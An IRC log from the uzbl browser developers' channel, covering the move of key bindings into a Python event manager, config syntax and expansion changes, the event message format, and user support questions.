15:43 < rob|> i'd vote for your second option cause insert_mode is just a variable like all the others and shouldn't be treated in a special way
15:43 < scj> Dieterbe: so we're just changing the config syntax for fun?
15:44 < mason-l> Actually I might create the MODE_CHANGE inside the bind plugin because then I can send the mode object as the event argument to any plugin that needs it.
15:44 < mason-l> rob|, Its sorted then, leave it to me :)
15:44 < rob|> ok nice, so i'll push
15:45 < Dieterbe> scj: no. we change it because it's better now
15:45 < rob|> mason-l: ok, done
15:47 < scj> Dieterbe: I'll have to disagree on that
15:48 < scj> 'event BIND <foo>' isn't better than 'bind <foo>'
15:48 < Dieterbe> actually it will be 'request BIND foo'
15:48 < mason-l> Dieterbe, Either or actually.
15:48 < scj> same difference. it's just syntax that is changed for no purpose
15:48 < scj> other than to have to rewrite the config file
15:49 < Dieterbe> it's definitely not just a changed syntax.  did you follow the event manager progress we've been doing?
15:49 < Dieterbe> this is huge, epic milestone in uzbl history ;)
15:50 < scj> yes, I am aware of it, but I don't understand why not just add a 'bind' command that generates the 'REQUEST BIND <foo>' output
15:50 < scj> that way we get to keep the old config syntax
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15:50 < Dieterbe> because uzbl-core is not aware of what a 'bind' is, and it shouldn't
15:50 < Dieterbe> keybinds is not any of uzbl-core's business
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15:54 < devon> has anyone else noticed that mouse copy seems to be a bit flakey?
15:55 < rob|> btw, is the SELECTION_CHANGED event reported for you?
15:55 < rob|> doesn't seem to be the case for me...
15:56 < devon> I'm not updated to the event based code yet
15:56 < rob|> though, i'm running a strange setup here
15:56 < rob|> devon: yeah, that was adressed to everyone in the chan ;)
15:56 < devon> oh, sorry, took that as a response
15:59 < rob|> anyways, need to go. bbl
16:00 < Dieterbe> devon: if you mean copying with primary selection buffer, from the statusbar then yes
16:01 < devon> Dieterbe same thing is true for copying snippets from the viewed web page
16:01 < Dieterbe> hmm dunno
16:01 < devon> it's working fine for me right now, but about 10 minutes ago, nothing was showing up onthe x xlipboard
16:02 < Dieterbe> both primary selection and clipboard work for me
16:02 < devon> yeah, it's working right now, but as I said, it's flakey
16:02 < devon> sometimes it just doesn't work
16:03 < Dieterbe> weird
16:03 < scj> linux clipboards are always flakey in my experience
16:07 < devon> as a note, is there a way to identify the text that is selected.  I kind of want to implement yy to yank the selection
16:07 < devon> I suppose it could be done with javascript
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16:11 < devon> ok, it just happened to me again.  It required me putting something else into the clipboard in another app before primary selection or clipboard would work from uzbl
16:14 < scj> devon: on linux, the text will already be in a buffer if you have selected it
16:14 < scj> or in X, rather
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16:52 < Masca> how can I send my configuration to event_manager? I have just upgraded to new experimental.
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17:00 < keis> Masca: I think that is done by uzbl
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17:01 < Masca> keis: it's not since it's using uzbl-browser. Well, I guess the problem is that I don't understand the change.
17:02 < Dieterbe> uzbl-core does send everything that is relevant to the event manager
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17:02 < Masca> Dieterbe: yep, but how can I tell the event manager what to do with each event?
17:03 < Dieterbe> not sure. look at the code
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17:03 < Masca> does it read the config file for you?
17:04 < keis> uzbl-core is still reading the config
17:05 < Masca> keis: yes, but do nothing but sending the event to event_manager who doesn't know what to do with it.
17:06 < Dieterbe> the uzbl config has nothing todo with what/how event-manager dispatches things to it's plugins
17:08  * Masca reads the code.
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17:10 < mason_l> Masca, Until the documentation is finished (or started :P) code by example.
17:10 < mason_l> Have a look at the plugins in the plugin dir for an idea of how to handle events.
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17:11 < mason-l> brb. quick sleep.
17:14 < keis> hmm, uzbl chokes on extra withspace in the configuration. this is not intentional right?
17:16 < Dieterbe> kinda
17:16 < Dieterbe> good night mason-l 
17:18 < keis> really? why
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17:28 < Dieterbe> keis: it's not perfect but we (actually rob| ) wrote it so it worked, without spending too much time on details
17:33 < rob|> re
17:34 < rob|> keis: well, we used to have a regex based config parser but not everyone liked it (not really sure why) so it was rewritten the way it is now...
17:34 < keis> mhm, run_handler is rather umh.. intimidating :S
17:36 < keis> surely there must exist a thousand ready-to-use bison parsers for this kind of configuration files
17:36 < rob|> true, hopefully the handler modules will be ready to use soon so we can get rid of that part
17:37 < rob|> patches are welcome
17:37 < keis> more or less the same state there, it crashed alot on bad input
17:37 < devon> does anyone have a working example config that works with the event manager keybinds?
17:38 < keis> im not going to patch something your are about to throw out
17:38 < rob|> devon: for now only bindings are configurable:  request bind 'keycombo = command'
17:39 < rob|> note the quotes
17:39 < devon> right
17:39 < keis> request? what is this, im using "event bind"
17:40 < rob|> you can use both
17:40 < devon> what about other commands in the config file?  does uzbl still accept config of say 'set uri = google.com'
17:40 < rob|> 'request' is just syntactic sugar to make things more obvious
17:40 < rob|> devon: yes
17:40 < keis> oh, ok :)
17:41 < devon> ok, so only bind has been usurped?
17:41 < rob|> exactly
17:41 < devon> aight
17:43 < rob|> devon: see the bind.py file, you can use things like: request bind '<Alt><F3> = foo'
17:43 < rob|> etc.
17:45 < devon> someone should probably update the config in examples.  If it's not by the time I get a chance to rebuild, I'll go do it
17:45 < rob|> sure, feel free
17:49 < keis> should event_manager handle expansion of $XDG_DATA_HOME etc? looks like it's not done by uzbl-core anymore for e.g the spawn command
17:52 < rob|> hmm, good question. personally i'd like to get rid of as much code as possible
17:52 < rob|> and make the remaining code rock stable
17:53 < keis> yes, thats a good cause. but shell variables is a nice feature to have in the core imo
17:53 < rob|> really? never liked that bit..
17:56 < keis> well, the stream interface has this shellish fealing so it kinda makes sense
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17:57 < rob|> well, i didn't remove that part
17:57 < Dieterbe> well i think environment variable expansion is quite useful, and doesn't "cost" much
17:57 < rob|> i wonder why it doesn't work anymore
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17:59 < keis> well, its not wonder. not a single expand() call in spawn or run_command :P
17:59 < rob|> oh, expand doesn't touch shell vars but only uzbl vars and substitutions
18:00 < rob|> i.e. @var, @(command)@ and @<java script>@
18:00 < keis> hehe, never looked at it. only assumed it was the one doing it
18:09 < rob|> Dieterbe: you should make it more clear on the website that experimental is now very different to master, people seem to get confused with config syntax
18:10 < Masca> ..and update config example. ;-)
18:11 < rob|> that too
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18:29 < scj> or just keep the config syntax :v
18:30 < rob|> no, that wouldn't make sense
18:31 < scj> it would :|
18:32 < rob|> well, adding a 'request' in front of the old bind syntax shouldn't be too much of an issue for the users
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18:32 < rob|> and it will integrate more smoothly with the other handler that definitly can't be kept as they are now
18:33 < scj> and wrap them in "'s
18:33 < rob|> *handlers
18:33 < rob|> scj: that will go away when we get things sorted
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18:56 < Dieterbe> back from work
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19:01 < DuClare> Welcome back
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19:04 < Dieterbe> thanks matie
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19:09 < bct> yum, chocolate bar for breakfast.
19:13 < Dieterbe> guys, how do you like this: http://sprunge.us/ViOB I'm trying to treat everyone equally (no stupid division 'developer' vs 'contributor') , but i do want to put some important roles at the top so people can get in touch with the person responsible for a certain area
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19:14 < Dieterbe> does this look politically correct? :P
19:15 < dunz0r> ok, how much will I have to change my scripts etc for working with socat instead of uzblctrl?
19:15  * dunz0r just installed socat
19:16 < Dieterbe> rob| mason-l DuClare see what i posted above kthxybe
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19:21 < dirkson> The 'example' scripts have the possibility to make uzbl rather accessible to the new user- More like something to learn/configure (ex. gentoo), than something to build (ex. Linux from scratch). Is there ongoing work to improve them, or were they created and tossed aside as good enough?
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19:23 < Dieterbe> nah, the example scripts are maintained because we actually use them
19:24 < dunz0r> hmm.
19:24 < dirkson> Dieterbe: Alrighty ^^ I wanted to make sure /someone/ was fiddling with them. For a lot of people (myself included) they provide the framework I need to jump off from to make the browser work as I'd like
19:24  * dunz0r is trying to create sockets etc with socat
19:25 < DuClare> Dieterbe, I don't have a problem with it
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19:39 < rob|> Dieterbe: neither do i, i like the phrasing "... all over the place" reminds to that infamous queen song ;)
19:55 < dunz0r> could anyone give me an example config who is using socat to send stuff to the socket?
19:55 < dunz0r> I have no idea what I'm doing atm
19:55 < scj> dunz0r: http://www.uzbl.org/wiki/scripts-faq
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19:57 < dunz0r> oo. didn't get one to work at first.
19:57 < dunz0r> but I didn't see the "-
19:57 < dunz0r> "
19:58 < dunz0r> so I tried with all sorts of magic. sending stuff to files and looping through the files and opening new sockets blabla
19:59 < Dieterbe> rob|: which song is that?
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19:59 < rob|> dunz0r: there's also a perl and python implementation of uzblctrl on the wiki
20:00 < Dieterbe> dunz0r: all our example code/scripts is already updated for socat instead of uzblcttrl
20:00 < rob|> Dieterbe: we will rock you
20:01 < dunz0r> Dieterbe; ok. good :) thanks
20:01 < dunz0r> I think I'll do something with lua actually
20:01 < dunz0r> to put in awesome
20:01 < dunz0r> seems like a waste using socat when I'm using luasocket anyway
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20:02 < Dieterbe> rob|: ah yes
20:02 < Dieterbe> dunz0r: i guess
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20:04 < github> uzbl: Dieter Plaetinck experimental SHA1-c2d0f9c
20:04 < github> trying to treat everyone equally (no stupid division 'developer' vs 'contributor') , but i do want to put some important roles at the top so people can get in touch with the person responsible for a
20:04 < github> http://bit.ly/QPBAB
20:04 < github> uzbl: Dieter Plaetinck experimental SHA1-320742e
20:04 < github> Merge branch 'experimental' of github.com:Dieterbe/uzbl into experimental
20:04 < github> http://bit.ly/poMUk
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21:08 < drknow> webkit 1.1.14 fixed window stretching to size of page (disabling resizing) bug
21:08 < ruskie> so I'm not the only one that reported that fix
21:08 < drknow> no more alt+click to scroll :p
21:08 < ruskie> :)
21:10 < drknow> i have to recompile webkit, however; i got sick of long builds so I started configuring it without svg and javascript debugger.  The build was still pretty long and found some build issues with webkit; it would have been faster to just leave them in and build each time, heh.
21:10 < drknow> like if you tell it --disable-svg, a few files still assume svg objects are there
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21:15 < drknow> does the bug system intentionally not show dates/timestamps on bugs and updates?
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21:17 < drknow> actually, I see an "r" where i'd normally expect to see a date/time... maybe there's a constant running around minimalizing all of the threads :p
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21:23 < rob|> that resize thing was one of the most stupid decisions of the webkit devs
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21:26 < ertai> is there someone else playing with the experimental branch under Mac OS
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21:27 < drknow> rob|: well, there is a "wtf" folder in webkitgtk.  The breakage was probably there :p
21:29 < Dieterbe> lol
21:30 < drknow> webkit-1.1.14$ find . -name wtf
21:30 < drknow> ./JavaScriptCore/wtf
21:31 < drknow> wtf/Deque.h *runs to cafepress to make a shirt*
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21:35 < rob|> i'm bugging the guys in #webkit-gtk a bit with out feature requests ;)
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21:40 < rob|> 232656 < kov> rob|, cool, yeah, do file the requests, let's figure out what we can do =)
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21:41 < rob|> ignore the timestamp..
21:42 < scj> what feature request is highest on the agenda?
21:43 < rob|> well, i'd really like to have webkit emit a signal when input boxes/text areas are being focused
21:43 < rob|> that would help us get rid of the modes alltogether
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21:51 < rob|> < kov> but I think uzbl is filling a very interesting "market", with its own challenges, which is the market for people who like to
21:51 < rob|>               build their environment, and automate it in very customized ways
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21:53 < Dieterbe> yeah, he understands us ;)
21:55 < rob|> Dieterbe: would you (as project initiator) like to file the feature requests?
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21:56 < rob|> preferred place is bugs.webkit.org with webkitgtk as component
21:58 < Dieterbe> rob|: lol 'project initiator' :) i don't see the relevance of that.  you know better what you're talking about then me, so ..
21:59 < rob|> so you could also write a brief summary explaining why we want/need them...
21:59 < rob|> and why JS is not the preferred method to do so (like some sites already catching specific events which would interfere with our custom ones, etc.)
22:00 < rob|> to be honest, i'd like to focus more on the actual code and roll off such task to someone else ;)
22:00 < rob|> *tasks
22:01 < Dieterbe> ah then say so. you want me to talk the talk so you can walk the walk?
22:01 < rob|> hehe, exactly
22:02 < rob|> i really hate endless discussions about obvious topics
22:02 < Dieterbe> but you'll need to push me in the right direction.. send me a mail or something with the bullet points of the things you want addressed
22:03 < rob|> ok, i guess i/you/we should start a 'Webkit features we'd like to have' topic on the ML and see what we get there
22:04 < rob|> for now (besides DOM bindings) the above mentioned thing is what comes spontaneuously to mind..
22:06 < rob|> also, did you ever give acme a try?
22:06 < rob|> it has some very cool "mouse interaction" capabilities that would also go well with our events approach
22:10 < Dieterbe> well i've been reading about it.  but i assumed it would be a lot of work to get it running (do i need plan9 for it?) and to get to know it, that i just thought i'ld skip it
22:10 < rob|> no, you can run it on linux
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22:11 < rob|> uzbl_tabbed could implement a fait amount of those features which would rather revolutionize the browsing experience
22:11 < jladan> Hey, I'm trying out uzbl for the first time, and I have a problem.
22:11 < rob|> and the best thing is we already have the infrastucture for that
22:12 < jladan> It seems uzbl isn't converting $XDG_DATA_HOME to ~/.local/share
22:12 < jladan> I do have that environment variable set.
22:12 < rob|> jladan: what branch are you running?
22:12 < jladan> master
22:13 < rob|> hmm
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22:13 < jladan> I just cloned the repository yesterday
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22:14 < rob|> yeah, we already had someone reporting this. strange...
22:14 < Dieterbe> rob|: oh dear. and i who thought you just doubled the coolness of uzbl with your event_messages. now you're talking about revolutionizing the browsing experience and you're scaring me
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22:15 < rob|> hehe, sorry about that. but if we're going to do things in such a very different way we should try to reach for the top :P
22:16 < rob|> at some point...
22:18 < scj> revolutionize is easier said than done
22:21 < rob|> true, but acme's interface is something that i haven't seen in any unix application so far
22:22 < scj> isn't it pretty mouse heavy?
22:22 < rob|> i mean (most of) the plan9 guys are a bunch of religious bastards, though they have a couple great ideas
22:23 < rob|> it is
22:23 < rob|> but we could just take the best from both worlds
22:23 < rob|> a good command interface coupled withe great mouse interaction
22:24 < rob|> acme heavily relies on plumbing wich is _very_ similar to our event system
22:24 < Dieterbe> okay.. don't shoot me.. but what's plumbing?
22:25 < scj> yeah, I was thinking of that. I guess we'd need a way to populate the right click context menu so we can dispatch different events
22:25 < rob|> Dieterbe: http://doc.cat-v.org/plan_9/4th_edition/papers/plumb
22:26 < Dieterbe> okay gonna put that in my 'to read'
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22:28 < rob|> Dieterbe: basically it's an application that dispatches messages to certain applications based on their content. so, very similar to event messages and the EM
22:29 < Cheeseum> aw yeah plan 9
22:29 < Dieterbe> so rob| did you try acme on arch? how did you install it?
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22:31 < rob|> Dieterbe: super easy way: http://code.google.com/p/acme-sac/
22:32 < rob|> there's also p9p (plan9 port which includes lots of p9 utilities) running on linux
22:36 < rob|> Dieterbe: hope i didn't scare you too much :P
22:37 < Dieterbe> well in just a few minutes time you did a lot of stuff to my todo/to-try list
22:37 < Dieterbe> s/did/did add/
22:38 < Dieterbe> i'm going to sleep
22:38 < Dieterbe> see you guys
22:44 < rob|> night dieter
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23:12 < jladan> rob|: the problem I'm having is with g_spawn_sync and g_spawn_async
23:12 < jladan> so, it's upstream
23:17 < jladan> what version of gtk do you use?
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23:54 < Hideo> hi, me again, is there a way to check ssl certs in uzbl?
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00:13 < Hyperion2010> is there a way to specify a modkey in the config file eg "bind ctrl+w =exit"?
00:14 < Hideo> Hyperion2010:  assuming you're using a console editor, such as vim, in insert mode, press ctrl-V, then ctrl-w
00:16 < Hideo> at least that's how I do it anyway
00:18 < Hyperion2010> Hideo: sorry, I mean in the uzbl config file
00:19 < Hyperion2010> to bind ctrl+w to exit
00:19 < Hideo> Hyperion2010: yes, that's what I told you
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00:19 < Hyperion2010> oh?
00:19 < Hyperion2010> oh
00:19 < Hyperion2010> gotit
00:19 < Hyperion2010> got it
00:19 < Hyperion2010> yes
00:19 < Hyperion2010> ok wow
00:19 < Hyperion2010> lol thanks
00:20  * Hyperion2010 facepalm
00:20 < Hideo> np =P
00:20 < Hideo> Hyperion2010: that doesn't method doesn't work for some other key combo though, and I don't know the alternatives yet
00:21 < Hyperion2010> hopefully there will be some build in support for it in the parser at some point
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00:45 < ebb> hello , can uzbl output a web page as plain text?
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01:06 < dgym> ebb, yes
01:06 < dgym> open up a new connection to the socket
01:07 < dgym> and issue this command: js document.documentElement.innerHTML
01:07 < dgym> it will dump out everything but the <html></html> outmost tags
01:07 < dgym> but you can add those in the javascript script
01:08 < dgym> js "<html>" + document.documentElement.innerHTML + "</html>"
01:17 < ebb> thnx lots =]
01:20 < ebb> is there an easy way to select and copy a portion of text in uzbl just using keyboard?
01:22 < ebb> i figured if not i would put all text through sed and get out part i want using a script
01:23 < Hideo> sorry to repeat, is there a way to check ssl certs in uzbl?
01:24 < ebb> btw the idea of uzbl is amazing , thanks for such a insightful web browser
01:25 < Hideo> I'll second that
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01:28 < ebb> it kinda spoils it my wm is compiz fusion
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02:33 < Hyperion2010> should configs for uzbl still work for the experiemntal tree (uzbl-browser)?
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02:39 < Hyperion2010> apparently not, since bind is no longer a valid command
02:39 < Hyperion2010> :x
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02:57 < Vithon> Hyperion2010, I'm really happy for you, I'ma let you finish, but Beyonce has one of the BEST music videos of all time.
02:57 < Vithon> [/Kanye West]
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03:13 < Hideo> Vithon: bwahahah
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09:42 < rob|> morning.
09:42 < Dieterbe> hideliho
09:42 < holizz> Hello.
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09:57 < rob|> can someone please hilight me
09:59 < opqdonut> rob|: there ya go
09:59 < rob|> thanks
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10:27 < Dieterbe> lol
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11:01 < mason-l> Hey guy
11:01 < mason-l> 'guys
11:01 < mason-l> I wont be around until later tonight but I did make some small changes today.
11:01 < mason-l> I moved the uzbl.config dict object into its own config plugin.
11:02 < Dieterbe> :o
11:03 < Dieterbe> isn't it too tightly related to all kinds of things to separate it like that?
11:15 < mason-l> Dieterbe, Its too early to tell, but it didn't feel right inside the EM.
11:16 < Dieterbe> whatever you say boss
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11:57 < ruskie> lol
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14:15 < ertai> in the default config bind 1 = sh "echo set zoom_level = 1.0 > $4" could be rduced to bind 1 = set zoom_level = 1.0
14:16 < rob|> yeah, there are more such obscure constructs in there
14:16 < Dieterbe> heh yeah
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14:23 < ertai> What about making the old bind syntax a sugar for request BIND?
14:23 < ertai> I have a small patch for that http://github.com/np/uzbl/commits/bind-command-as-sugar
14:24 < rob|> btw, all the xclip bindings in the old config can be rewritten to e.g.:  bind p = set uri = @(xclip -o)@
14:24 < rob|> etc.
14:24 < Dieterbe> ertai: no. uzbl-core is not aware of what a 'bind' is, and it shouldn't be
14:25 < ertai> Dieterbe: I understand that answer but that little changs avoids a great deal of quoting nightmares
14:26 < rob|> ertai: the quoting will be fixed. we just need to sort a couple of things before, though
14:27 < ertai> rob|: what would be syntax for:
14:27 < ertai> bind    XS        = sh 'echo "js alert (\\"This is sent by the shell via a fifo\\")" > "$4"'
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14:29 < rob|> we should try to avoid such senseless constructs in the first place ;)
14:30 < rob|> also i'd like the event/request commands to work in the exact same way as set and print
14:31 < rob|> i.e. no quoting necessary unless you want to use the '\' char or uzbl vars within it
14:32 < ertai> ok so: request BIND d = exit
14:35 < rob|> exactly
14:48 < rob|> ok, i actually just rewrote the event command to not need any quotes
14:49 < rob|> will push in a moment if we agree on this to be ok
14:50 < rob|> ?
14:57 < rob|> well, pushed anyways ;)
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14:57 < github> uzbl: Robert Manea experimental SHA1-aa7a38f
14:57 < github> removed ununsed var
14:57 < github> http://bit.ly/35UR2N
14:57 < github> uzbl: Robert Manea experimental SHA1-67e92dc
14:57 < github> custom events don't need to be quoted anymore
14:57 < github> http://bit.ly/11Wmi9
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14:58 < rob|> e.g.: request bind <Alt><F1> = set uri = uzbl.org
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15:02 < rob|> also note that that 'bar' in "event foo bar" is being expand()ed so you can use uzbls and substitutions in there
15:03 < rob|> ^uzbl vars
15:06 < rob|> man these irssi abbrevations are annoying, need to get rid of them
15:09 < Dieterbe> irssi abbrevs?
15:10 < rob|> yeah, they're destroying my sentences
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15:13 < Dieterbe> i don't know what you're talking about
15:19 < rob|> nvm
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15:25 < mason-l> Dieterbe, rob|: I'm back :)
15:25 < keis> do you guys know of any cross-WM way to create a window without giving it focus/bringing it to the top of the stack/etc ?
15:25 < mason-l> rob|, Good work on that removing quotes from events patch!
15:29 < rob|> fun with bindings and vars:
15:29 < rob|> set leader_google = <Alt>g
15:29 < rob|> set domain_google = .google.com
15:29 < rob|> set goto = set uri =
15:29 < rob|> request bind @{leader_google}m = @goto mail@domain_google
15:29 < rob|> request bind @{leader_google}a = @goto analytics@domain_google
15:30 < Dieterbe> mason-l: hooray hooray
15:30 < Dieterbe> keis: good question. i wish i had the answer. i have the same problem with wmii. it focuses new uzbl instances :(
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15:31 < keis> I was thinking of doing quick hack by setting some random atom and the checking for it in xmonad :/
15:31 < Dieterbe> lol rob| seems like an unneeded complication to me. especially the @{leader_google} part
15:31 < Dieterbe> @goto is kinda nice though
15:31 < Dieterbe> hey, doesn't this mean we can remove the 'sh' command?
15:32 < Dieterbe> and replace it with @sh
15:32 < mason-l> rob|, I wouldn't do it myself but I love that we can now!
15:32 < rob|> Dieterbe: hmm, i guess you're right
15:33 < rob|> Dieterbe: we just need to get expansions working everywhere
15:33 < Dieterbe> i always disliked the 'sh' command..
15:33 < Dieterbe> but i'm okay with doing it as a custom variable
15:33 < Dieterbe> in the example config ;)
15:35 < mason-l> Dieterbe, Have you played with the sample config at all?
15:35 < Dieterbe> not really.
15:35 < mason-l> The sample config that is loaded by that make target?
15:35 < mason-l> Oh ok.
15:36 < mason-l> Because I/we should update that with working event manager & bing plugin use cases.
15:38 < Dieterbe> yeah. actually any time someone does a change to the code, the example configs/scripts/documentation should be updated accordingly
15:38 < rob|> btw, should the (custom) event name (i.e. bind) also be expanded?
15:38 < rob|> i didn't implement is as i did not see much use to it
15:38 < Dieterbe> dont' understand what you mean
15:39 < rob|> request @foo bar baz
15:39 < rob|> -> request <content of foo> bar baz
15:39 < Dieterbe> set event_name = bind
15:40 < Dieterbe> request @event_name bar baz
15:40 < Dieterbe> ?
15:40 < rob|> yeah
15:40 < Dieterbe> i don't see the point/use of something like that (similar to how i didn't got the point of your @{leader_google})
15:40 < mason-l> rob|, While I don't have a use for it, it would be easy to do and might be very useful for some of the hardcore niche uzbl users out there.
15:40 < Dieterbe> isn't this an unneeded complication?
15:41 < mason-l> Dieterbe, Well it doesn't take anything away and it might prove useful.
15:41 < rob|> in code not really, it just adding a expand() call to the event name
15:41 < rob|> *it's
15:41 < Dieterbe> don't get me wrong.  i think the more places that support expansion, the better. it's weird to _not_ have expand in some places..
15:41 < MichaelRaskin> Well, can't you register an event retranslator to do the same?
15:41 < rob|> MichaelRaskin: sure, you could do that as well
15:42 < mason-l> rob|, What happens in this instance: set foo = "BIND <Alt>" & request @{foo}_ = uri %s
15:43 < mason-l> rob|, Would the event be "BIND <Alt>" or "BIND"
15:43 < MichaelRaskin> Then there either should be a formal expansion semantics uniform across all uzbl commands or it is unnecessary complication.
15:44 < mason-l> rob|, Actually it doesn't matter.
15:44 < rob|> mason-l: right now it would be: EVENT  @{foo}_ [12345] = uri %s
15:45 < mason-l> Ok it is a problem!
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15:47 < rob|> well, the event command takes 2 distinct arguments. one being the event name and the other an optional event detail
15:47 < rob|> so the semantics are clearly defined
15:48 < MichaelRaskin> I mean expansion semantics
15:50 < rob|> mason-l: it wouldn't be too much of an issue to make your above example work, though. we would just need to treat both arguments as one -> expand -> split the string here -> send_event
15:50 < mason-l> rob|, But if you were going to implement event name expansion the "@{foo}_" would need to be fixed.
15:50 < mason-l> rob|, Sounds good.
15:51 < mason-l> In fact cant the bind command be aliased? Like: set bind = "request BIND" -> @bind o _ = uri %s
15:52 < mason-l> ^ I might even do that.
15:53 < rob|> no, that's unfortunatelly not that easy with the current way the parser works
15:53 < mason-l> oh :(
15:53 < mason-l> is it in the works?
15:53 < rob|> but we could certainly check wether the first char is a @ and call expand on the line and treat it afterwards as a command
15:53 < mason-l> Why not just expand the entire line then parse it?
15:54 < mason-l> Yeah
15:54 < mason-l> Because that would be a kickass ability.
15:54 < Dieterbe> hmm this sounds good
15:54 < rob|> alright, i will look into getting this working
15:54 < mason-l> rob|, <3
15:55 < rob|> don't think that i will do this today, though as i'm waiting for a couple of guys to arrive
15:55 < mason-l> rob|, No pressure mate.
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16:04 < scj> regarding set bind = "request BIND" -> @bind foo_ = bar %s, maybe it would be an idea to swith the placement of the name to second first. so it would be "REQUEST [12345] BIND" instead of "REQUEST BIND [12345]"
16:06 < Dieterbe> hmm when (if) @bind gets expanded it become 2 separate words so this is a non-issue
16:06 < rob|> yeah, i think mason's proposal to first expand and then parse the line is the best approach
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16:07 < Dieterbe> yes, as long as there are no 'adders in the grass' if you know that expression
16:07 < rob|> but this means that @ and \ need to be always quoted if you want to use them literaly
16:08 < rob|> doesn't seem to be a problem, though
16:09 < rob|> i mean the shell expects you to do the same
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16:15 < mason-l> I also agree with scj
16:15 < mason-l> I was always confused by the [34343444] placement in the event message.
16:16 < mason-l> Its very easy to make the move to "EVENT [12345] BIND" in the EM
16:16 < mason-l> And that means it automatically takes care of the 'set foo = "BIND <Alt>" & request @{foo}_ = uri %s' problem.
16:17 < Dieterbe> ah hmm
16:17 < Dieterbe> and what about just putting the instance in fromnt? [12345] REQUEST BIND
16:17 < mason-l> Dieterbe, Nope
16:18 < mason-l> Because its easy to tell if the EM has just received an EVENT message by an easy 'if arg[0] != "EVENT": return False'
16:19 < scj> if arg[1] != "EVENT"
16:19 < mason-l> scj, It just feels wrong.
16:21 < scj> I guess, since a space in the name could throw a simple tokernizer off
16:21 < rob|> well, the format of the messages was just a proposal and that's why i posted to the ML, though got no real reactions...
16:22 < rob|> i'd be happy to change  the format to something more suitable/elaborate
16:23 < mason-l> If nobody objects I think what scj originally suggested is the most practical (that is the: "REQUEST [12345] BIND" instead of "REQUEST BIND [12345]").
16:23 < mason-l> s/REQUEST/EVENT/
16:23 < mason-l> s/REQUEST/EVENT/g
16:23 < rob|> ;)
16:24 < rob|> yeah sure, that's a trivial change in code
16:24 < mason-l> And I can have it changed in the EM in a matter of seconds.
16:24 < rob|> want me to do it now?
16:25 < Dieterbe> and why is this better? you lost me
16:25 < mason-l> Well I'm ready to make the change in my end as well so now is as good a time as any.
16:26 < mason-l> Dieterbe, Because consider: 'set foo = "BIND <Alt>" & request @{foo}_ = uri %s' would output: "EVENT BIND <Alt> [12345] = uri %s"
16:26 < mason-l> I mean: "EVENT BIND <Alt>_ [12345] = uri %s"
16:27 < Dieterbe> ok
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16:30 < rob|> mason-l: ok, done. format is "EVENT [12345] name details"
16:31 < mason-l> Great, updating now.
16:31 < tlonim> has anyone used tiddlywiki with uzbl ?    I tried to use and it segfaults ...
16:31 < scj> tlonim: x86_64 and gcc4.4?
16:31 < tlonim> scj: yes
16:32 < tlonim> scj:  is this a know issue or something
16:32 < scj> javascript gets weird on x86_64 if webkit has been compiled on gcc4.4. reverting to gcc4.3 seems to work
16:33 < Dieterbe> rob|: feel free to push that change directly to my tree
16:33 < rob|> Dieterbe: already done ;)
16:34 < tlonim> scj: ok... i will try on gcc 4.3.......... does tiddlywiki work fine (with Tiddlysaver.jar) on gcc 4.3 ?
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16:35 < rob|> btw, p9's plumber has a somewhat more complex message format. i wonder wether we can learn/makes use of it in any way
16:35 < rob|> i mean as of now our message format seems to cover most cases
16:35 < scj> tlonim: dunno, I don't have x86_64 so I can't say, but I am guessing it would
16:36 < tlonim> scj: ok..
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16:45 < mason-l> rob|, Changes pushed to my github repo, you can pull from there and push to Dieterbe's experimental.
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16:48 < rob|> mason-l: nice, done!
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16:48 < github> uzbl: Mason Larobina experimental SHA1-8f45d78
16:48 < github> Socket communication bug resolved so remove test binds.
16:48 < github> http://bit.ly/XkDay
16:48 < github> uzbl: Mason Larobina experimental SHA1-2166c29
16:49 < github> Moved the uzbl config dict into its own config.py plugin.
16:49 < github> http://bit.ly/31H2vw
16:49 < github> uzbl: Mason Larobina experimental SHA1-83b690c
16:49 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl into experimental
16:49 < github> http://bit.ly/jlvs0
16:49 < github> uzbl: Mason Larobina experimental SHA1-3a24a44
16:49 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl into experimental
16:49 < github> http://bit.ly/29eqhh
16:49 < mason-l> botspam ;)
16:49 < github> uzbl: Mason Larobina experimental SHA1-5e8224c
16:49 < github> Event message format changed to "EVENT [12345] name args"
16:49 < github> http://bit.ly/xeKP8
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16:50 < Dieterbe> hmm these are only commits from mason, not from rob?
16:50 < mason-l> Dieterbe, Rob's already pushed his.
16:50 < Dieterbe> yes, so the bot should mention them too
16:51 < mason-l> Good point.
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17:20 < dgym> I have just implimented some of the functionality of uzbl-core in python using pywebkitgtk
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17:21 < Dieterbe> you should talk to holizz
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17:21 < Dieterbe> see pyweb@ http://www.uzbl.org/news.php?id=15
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17:22 < Masca> so wich is the new binding sintax? I don't get it at all.
17:23 < keis> it changed again :)
17:23 < dgym> it took some hacking of pywebkitgtk though, and not code of a publishable quality
17:24 < Masca> keis: yep, just saw the commits, but can't get it working.
17:24 < dgym> but still, I think a lot of people thinking of using uzbl in a library sort of way might appreciate being directed to pywebkitgtk
17:24 < keis> event BIND r = reload
17:24 < keis> like that
17:24 < Masca> I did s/bind/request bind/g in the config file.
17:24 < mason-l> Masca, Because binding is now done entirely outside of uzbl-core an event is raised by uzbl to define a bind in the event manager. Use this: "request BIND ZZ = exit" or "event BIND <Ctrl>q = exit"
17:24 < mason-l> or "event BIND o _ = uri %s"
17:25 < Masca> mason-l: Ok, that's what I have "request bind ZZ = exit. But the event manager doesn't do anything.
17:25 < Masca> Is there something I'm missing?
17:25 < mason-l> Masca, How are you launching uzbl?
17:26 < Masca> uzbl-browser -v
17:26 < mason-l> Masca, Latest commit?
17:26 < Masca> yep, just yaourt -S --devel it
17:26 < Dieterbe> dgym: if you want to 'use uzbl as a library' you probably just want to use the webkit library. the only thing uzbl really adds is interfacing, nothing but interfacing to talk to other _applications_. if you want to do it all in 1 language (eg python) you just use pywebkit, python's keyboard and mouse events, etc. no need for uzbl
17:26 < keis> you could test the event-manager without uzbl, see if it does the right thing
17:26 < mason-l> Masca, And you "make installed" it?
17:27 < Masca> yaourt did it.
17:27 < mason-l> 'make install
17:27 < mason-l> Well check the event manager exists at: $XDG_DATA_HOME/uzbl/scripts/event_manager.py
17:27 < Masca> mason-l: commit: 5e8224c60e887253669cd72ae0df5c343825c221  from the uzbl output
17:27 < mason-l> And the plugins exist in: $XDG_DATA_HOME/uzbl/scripts/plugins/
17:28 < mason-l> Masca, Yeah thats the latest.
17:28 < Masca> mm helll yeah! the plugins!  let me try that.
17:28 < mason-l> :D
17:28 < mason-l> No binding is done without the bind plugin ;)
